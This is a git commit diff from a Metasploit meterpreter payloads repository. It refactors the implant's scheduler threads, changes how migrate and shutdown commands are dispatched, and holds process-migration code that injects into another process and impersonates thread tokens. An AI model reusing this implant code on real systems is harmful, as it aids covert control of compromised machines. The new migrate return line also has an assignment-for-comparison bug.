1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-22 03:19:04 +01:00

Merge branch 'master' into warning_removal

This commit is contained in:
OJ 2013-11-14 19:20:27 +10:00
commit 1c09ac08d5
42 changed files with 2062 additions and 1848 deletions

View File

@ -43,6 +43,12 @@ source/jpeg-8/Backup/*
# ignore posix temp stuff
posix-meterp-build-tmp/*
data/meterpreter/*
source/server/rtld/elf2bin
source/server/rtld/lib*
source/server/rtld/msflinker
source/server/rtld/msflinker.bin
source/server/rtld/rtldtest
# Doxygen output
docs/*

View File

@ -1,317 +1,310 @@
#include "queue.h"
#include "common.h"
#include <poll.h>
#include <pthread.h>
typedef struct _WaitableEntry
{
HANDLE waitable;
LPVOID context;
WaitableNotifyRoutine routine;
LIST_ENTRY(_WaitableEntry) link;
} WaitableEntry;
int nentries = 0;
int ntableentries = 0;
struct pollfd *polltable;
LIST_HEAD(_WaitableEntryHead, _WaitableEntry) WEHead;
THREAD *scheduler_thread;
/*
* If there are no waitables in the queue, we wait
* for a conditional broadcast to start it.
*/
pthread_mutex_t scheduler_mutex;
pthread_cond_t scheduler_cond;
DWORD scheduler_run(THREAD *thread);
DWORD scheduler_destroy( VOID )
{
WaitableEntry *current, *tmp;
dprintf("Shutdown of scheduler requested");
if(scheduler_thread)
{
dprintf("sigterm'ing thread");
thread_sigterm(scheduler_thread);
// wake up the thread if needed
pthread_cond_signal(&scheduler_cond);
// can delay execution up to 2 sec give or take
thread_join(scheduler_thread);
// free up memory
thread_destroy(scheduler_thread);
scheduler_thread = NULL;
dprintf("thread joined .. going for polltable");
if(polltable)
{
free(polltable);
polltable = NULL;
nentries = ntableentries = 0;
}
dprintf("Now for the fun part, iterating through list and removing items");
LIST_FOREACH_SAFE(current, &WEHead, link, tmp)
{
// can't call close function due to no remote struct
// will segfault if we try
// XXX could steal from scheduler_thread->parameter1 ?
dprintf("current: %08x, current->routine: %08x", current, current->routine);
LIST_REMOVE(current, link);
close(current->waitable);
free(current->context);
free(current);
}
dprintf("All done. Leaving");
}
return ERROR_SUCCESS;
}
DWORD scheduler_initialize( Remote * remote )
{
if(scheduler_thread) {
dprintf("Hmmm. scheduler_initialize() called twice?");
return ERROR_SUCCESS;
}
pthread_mutex_init(&scheduler_mutex, NULL);
pthread_cond_init(&scheduler_cond, NULL);
scheduler_thread = thread_create(scheduler_run, remote, NULL);
if(! scheduler_thread) {
return ENOMEM;
}
thread_run(scheduler_thread);
dprintf("Initialized scheduler thread and started it running");
return ERROR_SUCCESS;
}
/*
* Insert a waitable object for checking and processing
*/
DWORD
scheduler_insert_waitable(HANDLE waitable, LPVOID context,
WaitableNotifyRoutine routine)
{
DWORD retcode = ERROR_SUCCESS;
WaitableEntry *current;
struct pollfd *polltableprev;
pthread_mutex_lock(&scheduler_mutex);
//dprintf("Handle: %d, context: 0x%08x, routine: 0x%08x. nentries = %d, polltable = 0x%08x",
// waitable, context, routine, nentries, polltable);
do {
if ((current = malloc(sizeof(WaitableEntry))) == NULL) {
retcode = ENOMEM;
break;
}
nentries++;
if (nentries > ntableentries) {
polltableprev = polltable;
// We do *2 because reallocating every scheduler_insert_waitable
// is slower than need be.
polltable = malloc((nentries*2)*sizeof(struct pollfd));
if (polltable == NULL) {
nentries--;
polltable = polltableprev;
free(current);
retcode = ENOMEM;
break;
}
if (polltableprev != NULL)
free(polltableprev);
ntableentries = (nentries*2);
}
current->waitable = waitable;
current->context = context;
current->routine = routine;
LIST_INSERT_HEAD(&WEHead, current, link);
} while(0);
dprintf("WEHead: %08x, Now nentries = %d, and polltable = 0x%08x. LIST_EMPTY: %d", &WEHead, nentries, polltable, LIST_EMPTY(&WEHead));
/*
LIST_FOREACH(current, &WEHead, link)
dprintf("current->waitable: %d, current->context: %08x, current->routine: %08x",
current->waitable, current->context, current->routine);
*/
pthread_mutex_unlock(&scheduler_mutex);
// wake up scheduler if needed.
pthread_cond_signal(&scheduler_cond);
return retcode;
}
/*
* Remove a waitable object
*/
DWORD
scheduler_remove_waitable(HANDLE waitable)
{
DWORD retcode = ERROR_SUCCESS;
WaitableEntry *current;
dprintf("Handle: %d", waitable);
pthread_mutex_lock(&scheduler_mutex);
do {
LIST_FOREACH(current, &WEHead, link)
if (current->waitable == waitable)
break;
if (current == NULL) {
retcode = ENOENT;
break;
}
LIST_REMOVE(current, link);
free(current);
nentries--;
} while(0);
pthread_mutex_unlock(&scheduler_mutex);
return retcode;
}
/*
* Runs the scheduler, checking waitable objects for data
*/
DWORD
scheduler_run(THREAD *thread)
{
Remote *remote;
remote = (Remote *) thread->parameter1;
WaitableEntry *current, *tmp;
int ret, i, found, idx;
int timeout;
timeout = 1000;
// see if we can modify this code to use waitable as the index into polltable
// and waitable events. saves time looking up in exchange for more memory use.
pthread_mutex_lock(&scheduler_mutex);
dprintf("Beginning loop");
while( event_poll(thread->sigterm, 0) == FALSE )
{
// scheduler_mutex is held upon entry and execution of the loop
idx = 0;
while(event_poll(thread->sigterm, 0) == FALSE && (LIST_EMPTY(&WEHead) || polltable == NULL)) {
// XXX I'd prefer to use pthread_cond_timedwait, but it's broken in bionic and just
// chews cpu
//dprintf(" Waiting for conditional (%08x). %d vs %d",
// &scheduler_cond, LIST_EMPTY(&WEHead), polltable == NULL);
pthread_cond_wait(&scheduler_cond, &scheduler_mutex);
// pthread_cond_wait still chews CPU in some cases, usleep to yield
// processor so we don't just spin.
usleep(1000);
}
LIST_FOREACH(current, &WEHead, link) {
dprintf("current->waitable: %d, current->context: %08x, current->routine: %08x",
current->waitable, current->context, current->routine);
polltable[idx].fd = current->waitable;
polltable[idx].events = POLLRDNORM;
polltable[idx].revents = 0;
idx++;
}
dprintf("Created a polltable of %d", idx);
pthread_mutex_unlock(&scheduler_mutex);
ret = poll(polltable, idx, timeout);
pthread_mutex_lock(&scheduler_mutex);
if(ret == 0) continue;
if(ret == -1) {
if(errno == EAGAIN || errno == EWOULDBLOCK || errno == EINTR) {
continue;
}
dprintf("poll() failed, errno: %d (%s). Sleeping 1 second and retrying", errno, strerror(errno));
sleep(1);
continue;
}
for (found = i = 0; i < idx && found < ret; i++)
{
if (polltable[i].revents)
{
LIST_FOREACH(current, &WEHead, link)
if (current->waitable == polltable[i].fd)
break;
if(current)
{
ret = current->routine(remote, current->context);
if(ret != ERROR_SUCCESS)
{
// could call close due to remote, but it would deadlock
// if it calls remove waitable
// could make a separate list to handle when we are not locking
// unlink and let rest deal with it ?
dprintf("current->routine (%08x / %08x) returned an error message. destroying", current->routine, current->context);
LIST_REMOVE(current, link);
close(current->waitable);
channel_close((Channel *)current->context, remote, NULL, 0, NULL);
free(current);
nentries--;
}
}
}
}
}
dprintf("Ending loop");
pthread_mutex_unlock(&scheduler_mutex);
}
#include "common.h"
#include <poll.h>
typedef struct _WaitableEntry
{
Remote * remote;
HANDLE waitable;
EVENT* pause;
EVENT* resume;
LPVOID context;
BOOL running;
WaitableNotifyRoutine routine;
WaitableDestroyRoutine destroy;
} WaitableEntry;
/*
* The list of all currenltly running threads in the scheduler subsystem.
*/
LIST * schedulerThreadList = NULL;
/*
* The Remote that is associated with the scheduler subsystem
*/
Remote * schedulerRemote = NULL;
/*
* Initialize the scheduler subsystem. Must be called before any calls to scheduler_insert_waitable.
*/
DWORD scheduler_initialize( Remote * remote )
{
DWORD result = ERROR_SUCCESS;
dprintf( "[SCHEDULER] entering scheduler_initialize." );
if( remote == NULL )
return ERROR_INVALID_HANDLE;
schedulerThreadList = list_create();
if( schedulerThreadList == NULL )
return ERROR_INVALID_HANDLE;
schedulerRemote = remote;
dprintf( "[SCHEDULER] leaving scheduler_initialize." );
return result;
}
/*
* Destroy the scheduler subsystem. All waitable threads at signaled to terminate.
* this function blocks untill all waitable threads have terminated.
*/
DWORD scheduler_destroy( VOID )
{
DWORD result = ERROR_SUCCESS;
DWORD index = 0;
DWORD count = 0;
LIST * jlist = list_create();
THREAD * thread = NULL;
WaitableEntry * entry = NULL;
dprintf( "[SCHEDULER] entering scheduler_destroy." );
lock_acquire( schedulerThreadList->lock );
count = list_count( schedulerThreadList );
for( index=0 ; index < count ; index++ )
{
thread = (THREAD *)list_get( schedulerThreadList, index );
if( thread == NULL )
continue;
list_push( jlist, thread );
entry = (WaitableEntry *)thread->parameter1;
if( !entry->running )
event_signal( entry->resume );
thread_sigterm( thread );
}
lock_release( schedulerThreadList->lock );
dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." );
while( TRUE )
{
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
thread = (THREAD *)list_pop( jlist );
if( thread == NULL )
break;
dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread );
thread_join( thread );
}
dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." );
list_destroy( jlist );
list_destroy( schedulerThreadList );
schedulerThreadList = NULL;
dprintf( "[SCHEDULER] leaving scheduler_destroy." );
return result;
}
/*
* Insert a new waitable thread for checking and processing.
*/
DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy )
{
DWORD result = ERROR_SUCCESS;
THREAD * swt = NULL;
WaitableEntry * entry = (WaitableEntry *)malloc( sizeof( WaitableEntry ) );
if( entry == NULL )
return ERROR_NOT_ENOUGH_MEMORY;
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X, 0x%08X, 0x%08X )",
waitable, entryContext, threadContext, routine, destroy );
memset( entry, 0, sizeof( WaitableEntry ) );
entry->remote = schedulerRemote;
entry->waitable = waitable;
entry->destroy = destroy;
entry->context = entryContext;
entry->routine = routine;
entry->pause = event_create();
entry->resume = event_create();
swt = thread_create( scheduler_waitable_thread, entry, threadContext, NULL );
if( swt != NULL )
{
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
thread_run( swt );
}
else
{
free( entry );
result = ERROR_INVALID_HANDLE;
}
dprintf( "[SCHEDULER] leaving scheduler_insert_waitable" );
return result;
}
/*
* Signal a waitable object.
*/
DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal )
{
DWORD index = 0;
DWORD count = 0;
THREAD * thread = NULL;
WaitableEntry * entry = NULL;
DWORD result = ERROR_NOT_FOUND;
dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable );
if( schedulerThreadList == NULL || waitable == NULL )
return ERROR_INVALID_HANDLE;
lock_acquire( schedulerThreadList->lock );
count = list_count( schedulerThreadList );
for( index=0 ; index < count ; index++ )
{
thread = (THREAD *)list_get( schedulerThreadList, index );
if( thread == NULL )
continue;
entry = (WaitableEntry *)thread->parameter1;
if( entry == NULL )
continue;
if( entry->waitable == waitable )
{
dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
if( signal == Pause )
{
if( entry->running ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle );
event_signal( entry->pause );
} else {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
}
}
else
{
if( !entry->running ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle );
event_signal( entry->resume );
}
if( signal == Stop ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle );
thread_sigterm( thread );
} else {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
}
}
result = ERROR_SUCCESS;
break;
}
}
lock_release( schedulerThreadList->lock );
dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" );
return result;
}
/*
* The schedulers waitable thread. Each scheduled item will have its own thread which
* waits for either data to process or the threads signal to terminate.
*/
DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
{
struct pollfd pollDetail = {0};
WaitableEntry * entry = NULL;
DWORD result = 0;
BOOL terminate = FALSE;
UINT signalIndex = 0;
if( thread == NULL )
return ERROR_INVALID_HANDLE;
entry = (WaitableEntry *)thread->parameter1;
if( entry == NULL )
return ERROR_INVALID_HANDLE;
if( entry->routine == NULL )
return ERROR_INVALID_HANDLE;
if( schedulerThreadList == NULL )
return ERROR_INVALID_HANDLE;
list_add( schedulerThreadList, thread );
pollDetail.fd = entry->waitable;
pollDetail.events = POLLRDNORM;
pollDetail.revents = 0;
dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread );
entry->running = TRUE;
while( !terminate )
{
if( event_poll( thread->sigterm, 0 ) ) {
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread );
terminate = TRUE;
}
else if( event_poll( entry->pause, 0 ) ) {
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to pause...", thread );
entry->running = FALSE;
while( !event_poll( entry->resume, 1000 ) );
entry->running = TRUE;
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to resume...", thread );
}
else if( poll( &pollDetail, 1, 100 ) == POLLIN ) {
//dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread );
entry->routine( entry->remote, entry->context, (LPVOID)thread->parameter2 );
}
}
dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread );
// we acquire the lock for this block as we are freeing 'entry' which may be accessed
// in a second call to scheduler_signal_waitable for this thread (unlikely but best practice).
dprintf( "[SCHEDULER] attempting to remove thread( 0x%08X )", thread );
lock_acquire( schedulerThreadList->lock );
if( list_remove( schedulerThreadList, thread ) )
{
if( entry->destroy ) {
dprintf( "[SCHEDULER] destroying thread( 0x%08X )", thread );
entry->destroy( entry->waitable, entry->context, (LPVOID)thread->parameter2 );
dprintf( "[SCHEDULER] destroyed thread( 0x%08X )", thread );
}
else if( entry->waitable ) {
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ) closing handle 0x%08X", thread, entry->waitable);
close( entry->waitable );
}
dprintf( "[SCHEDULER] cleaning up resume thread( 0x%08X )", thread );
event_destroy( entry->resume );
dprintf( "[SCHEDULER] cleaning up pause thread( 0x%08X )", thread );
event_destroy( entry->pause );
dprintf( "[SCHEDULER] cleaning up thread( 0x%08X )", thread );
thread_destroy( thread );
dprintf( "[SCHEDULER] cleaning up entry( 0x%08X )", thread );
free( entry );
}
lock_release( schedulerThreadList->lock );
return ERROR_SUCCESS;
}

View File

@ -65,7 +65,7 @@ typedef struct _MIGRATECONTEXT
/*
* Migrate the meterpreter server from the current process into another process.
*/
DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
BOOL remote_request_core_migrate( Remote * remote, Packet * packet, DWORD* pResult )
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
@ -185,26 +185,12 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
if( inject_via_apcthread( remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[MIGRATE] inject_via_apcthread failed" )
}
/*
// Wait at most 15 seconds for the event to be set letting us know that it's finished
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
BREAK_ON_ERROR( "[MIGRATE] WaitForSingleObjectEx failed" )
// Signal the main server thread to begin the shutdown as migration has been successfull.
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (signaling main thread)...");
thread_sigterm( serverThread );
*/
// Signal the main server thread to begin the shutdown as migration has been successfull.
// If the thread is not killed, the pending packet_receive prevents the new process
// from being able to negotiate SSL.
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (killing the main thread)...");
thread_kill( serverThread );
// Wait at most 15 seconds for the event to be set letting us know that it's finished
// Unfortunately, its too late to do anything about a failure at this point
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
//// Wait at most 15 seconds for the event to be set letting us know that it's finished
//// Unfortunately, its too late to do anything about a failure at this point
//if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
// dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
dwResult = ERROR_SUCCESS;
@ -221,7 +207,10 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
if( hEvent )
CloseHandle( hEvent );
return dwResult;
if( pResult )
*pResult = dwResult;
return dwResult = ERROR_SUCCESS ? TRUE : FALSE;
}

View File

@ -2,10 +2,14 @@
typedef struct _WaitableEntry
{
Remote * remote;
HANDLE waitable;
LPVOID context;
WaitableNotifyRoutine routine;
Remote * remote;
HANDLE waitable;
EVENT* pause;
EVENT* resume;
LPVOID context;
BOOL running;
WaitableNotifyRoutine routine;
WaitableDestroyRoutine destroy;
} WaitableEntry;
/*
@ -52,6 +56,7 @@ DWORD scheduler_destroy( VOID )
DWORD count = 0;
LIST * jlist = list_create();
THREAD * thread = NULL;
WaitableEntry * entry = NULL;
dprintf( "[SCHEDULER] entering scheduler_destroy." );
@ -67,6 +72,11 @@ DWORD scheduler_destroy( VOID )
list_push( jlist, thread );
entry = (WaitableEntry *)thread->parameter1;
if( !entry->running )
event_signal( entry->resume );
thread_sigterm( thread );
}
@ -76,7 +86,7 @@ DWORD scheduler_destroy( VOID )
while( TRUE )
{
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread list..." );
thread = (THREAD *)list_pop( jlist );
if( thread == NULL )
@ -103,7 +113,7 @@ DWORD scheduler_destroy( VOID )
/*
* Insert a new waitable thread for checking and processing.
*/
DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine )
DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy )
{
DWORD result = ERROR_SUCCESS;
THREAD * swt = NULL;
@ -112,16 +122,20 @@ DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotify
if( entry == NULL )
return ERROR_NOT_ENOUGH_MEMORY;
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X )", waitable, context, routine );
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X, 0x%08X, 0x%08X )",
waitable, entryContext, threadContext, routine, destroy );
memset( entry, 0, sizeof( WaitableEntry ) );
entry->remote = schedulerRemote;
entry->waitable = waitable;
entry->context = context;
entry->destroy = destroy;
entry->context = entryContext;
entry->routine = routine;
entry->pause = event_create();
entry->resume = event_create();
swt = thread_create( scheduler_waitable_thread, entry, NULL );
swt = thread_create( scheduler_waitable_thread, entry, threadContext, NULL );
if( swt != NULL )
{
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
@ -139,17 +153,17 @@ DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotify
}
/*
* Remove a waitable object by signaling the waitable thread to terminate.
* Signal a waitable object.
*/
DWORD scheduler_remove_waitable( HANDLE waitable )
DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal )
{
DWORD index = 0;
DWORD count = 0;
THREAD * thread = NULL;
WaitableEntry * entry = NULL;
DWORD result = ERROR_SUCCESS;
DWORD result = ERROR_NOT_FOUND;
dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable );
dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable );
if( schedulerThreadList == NULL || waitable == NULL )
return ERROR_INVALID_HANDLE;
@ -170,8 +184,31 @@ DWORD scheduler_remove_waitable( HANDLE waitable )
if( entry->waitable == waitable )
{
dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
thread_sigterm( thread );
dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
if( signal == Pause )
{
if( entry->running ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle );
event_signal( entry->pause );
} else {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
}
}
else
{
if( !entry->running ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle );
event_signal( entry->resume );
}
if( signal == Stop ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle );
thread_sigterm( thread );
} else {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
}
}
result = ERROR_SUCCESS;
break;
}
@ -179,7 +216,7 @@ DWORD scheduler_remove_waitable( HANDLE waitable )
lock_release( schedulerThreadList->lock );
dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" );
dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" );
return result;
}
@ -190,10 +227,11 @@ DWORD scheduler_remove_waitable( HANDLE waitable )
*/
DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
{
HANDLE waitableHandles[2] = {0};
HANDLE waitableHandles[3] = {0};
WaitableEntry * entry = NULL;
DWORD result = 0;
BOOL terminate = FALSE;
UINT signalIndex = 0;
if( thread == NULL )
return ERROR_INVALID_HANDLE;
@ -211,23 +249,34 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
list_add( schedulerThreadList, thread );
waitableHandles[0] = thread->sigterm->handle;
waitableHandles[1] = entry->waitable;
waitableHandles[1] = entry->pause->handle;
waitableHandles[2] = entry->waitable;
dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread );
dprintf( "[SCHEDULER] waiting on term=0x%X pause=0x%X waitable=0x%X", waitableHandles[0], waitableHandles[1], waitableHandles[2] );
entry->running = TRUE;
while( !terminate )
{
result = WaitForMultipleObjects( 2, (HANDLE *)&waitableHandles, FALSE, INFINITE );
switch( result - WAIT_OBJECT_0 )
dprintf( "[SCHEDULER] About to wait ( 0x%08X )", thread );
result = WaitForMultipleObjects( 3, waitableHandles, FALSE, INFINITE );
dprintf( "[SCHEDULER] Wait returned ( 0x%08X )", thread );
signalIndex = result - WAIT_OBJECT_0;
switch( signalIndex )
{
case 0:
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread );
terminate = TRUE;
break;
case 1:
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to pause...", thread );
entry->running = FALSE;
event_poll( entry->resume, INFINITE );
entry->running = TRUE;
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to resume...", thread );
case 2:
//dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread );
entry->routine( entry->remote, entry->context );
entry->routine( entry->remote, entry->context, thread->parameter2 );
break;
default:
break;
@ -237,18 +286,24 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread );
// we acquire the lock for this block as we are freeing 'entry' which may be accessed
// in a second call to scheduler_remove_waitable for this thread (unlikely but best practice).
// in a second call to scheduler_signal_waitable for this thread (unlikely but best practice).
lock_acquire( schedulerThreadList->lock );
if( list_remove( schedulerThreadList, thread ) )
{
if(entry->waitable) {
if( entry->destroy ) {
entry->destroy( entry->waitable, entry->context, thread->parameter2 );
}
else if( entry->waitable ) {
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ) closing handle 0x%08X", thread, entry->waitable);
CloseHandle( entry->waitable );
}
event_destroy( entry->resume );
event_destroy( entry->pause );
thread_destroy( thread );
free( entry );
}
lock_release( schedulerThreadList->lock );
return ERROR_SUCCESS;
}
}

View File

@ -5,59 +5,62 @@
#include "common.h"
// Local remote request implementors
extern DWORD remote_request_core_console_write(Remote *remote, Packet *packet);
extern DWORD remote_request_core_console_write( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_open(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_write(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_read(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_close(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_open( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_write( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_read( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_close( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_seek( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_eof( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_tell( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_interact( Remote *remote, Packet *packet );
extern DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet);
extern DWORD remote_request_core_crypto_negotiate( Remote *remote, Packet *packet );
extern DWORD remote_request_core_shutdown(Remote *remote, Packet *packet);
extern BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult);
extern DWORD remote_request_core_migrate(Remote *remote, Packet *packet);
extern BOOL remote_request_core_migrate( Remote *remote, Packet *packet, DWORD* pResult );
// Local remote response implementors
extern DWORD remote_response_core_console_write(Remote *remote, Packet *packet);
extern DWORD remote_response_core_console_write( Remote *remote, Packet *packet );
extern DWORD remote_response_core_channel_open(Remote *remote, Packet *packet);
extern DWORD remote_response_core_channel_close(Remote *remote, Packet *packet);
extern DWORD remote_response_core_channel_open( Remote *remote, Packet *packet );
extern DWORD remote_response_core_channel_close( Remote *remote, Packet *packet );
DWORD remote_request_core_console_write(Remote *remote, Packet *packet)
DWORD remote_request_core_console_write( Remote *remote, Packet *packet )
{
return ERROR_SUCCESS;
}
DWORD remote_response_core_console_write(Remote *remote, Packet *packet)
DWORD remote_response_core_console_write( Remote *remote, Packet *packet )
{
return ERROR_SUCCESS;
}
BOOL command_is_inline( Command *command, Packet *packet );
Command* command_locate( Packet *packet );
DWORD command_validate_arguments(Command *command, Packet *packet);
DWORD THREADCALL command_process_thread( THREAD * thread );
/*!
* @brief Base RPC dispatch table.
*/
Command commands[] =
Command base_commands[] =
{
/*
* Core commands
*/
// Console commands
{ "core_console_write",
{ remote_request_core_console_write, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
{ remote_response_core_console_write, EMPTY_TLV },
{ remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
{ remote_response_core_console_write, NULL, EMPTY_TLV },
},
// Native Channel commands
// this overloads the "core_channel_open" in the base command list
COMMAND_REQ_REP( "core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open ),
COMMAND_REQ( "core_channel_write", remote_request_core_channel_write ),
COMMAND_REQ_REP( "core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close ),
// Buffered/Pool channel commands
COMMAND_REQ( "core_channel_read", remote_request_core_channel_read ),
// Pool channel commands
@ -69,14 +72,17 @@ Command commands[] =
// Crypto
COMMAND_REQ( "core_crypto_negotiate", remote_request_core_crypto_negotiate ),
// Migration
COMMAND_REQ( "core_migrate", remote_request_core_migrate ),
COMMAND_INLINE_REQ( "core_migrate", remote_request_core_migrate ),
// Shutdown
COMMAND_REQ( "core_shutdown", remote_request_core_shutdown ),
COMMAND_INLINE_REQ( "core_shutdown", remote_request_core_shutdown ),
// Terminator
COMMAND_TERMINATOR
};
// Dynamically registered command extensions
/*!
* @brief Dynamically registered command extensions.
* @details A linked list of commands registered on the fly by reflectively-loaded extensions.
*/
Command *extension_commands = NULL;
/*!
@ -88,7 +94,7 @@ void command_register_all(Command commands[])
DWORD index;
for (index = 0; commands[index].method; index++)
command_register(&commands[index]);
command_register( &commands[index] );
}
/*!
@ -201,20 +207,157 @@ VOID reap_zombie_thread(void * param)
}
#endif
/*!
* @brief Process a command directly on the current thread.
* @param command Pointer to the \c Command to be executed.
* @param remote Pointer to the \c Remote endpoint for this command.
* @param packet Pointer to the \c Packet containing the command detail.
* @returns Boolean value indicating if the server should continue processing.
* @retval TRUE The server can and should continue processing.
* @retval FALSE The server should stop processing and shut down.
* @sa command_handle
* @sa command_process_thread
*/
BOOL command_process_inline( Command *command, Remote *remote, Packet *packet )
{
DWORD result;
BOOL serverContinue = TRUE;
Tlv requestIdTlv;
PCHAR requestId;
PacketTlvType packetTlvType;
dprintf( "[COMMAND] Executing command %s", command->method );
__try
{
do
{
#ifdef _WIN32
// Impersonate the thread token if needed (only on Windows)
if(remote->hServerToken != remote->hThreadToken) {
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", command->method, GetLastError());
}
}
#endif
// Validate the arguments, if requested. Always make sure argument
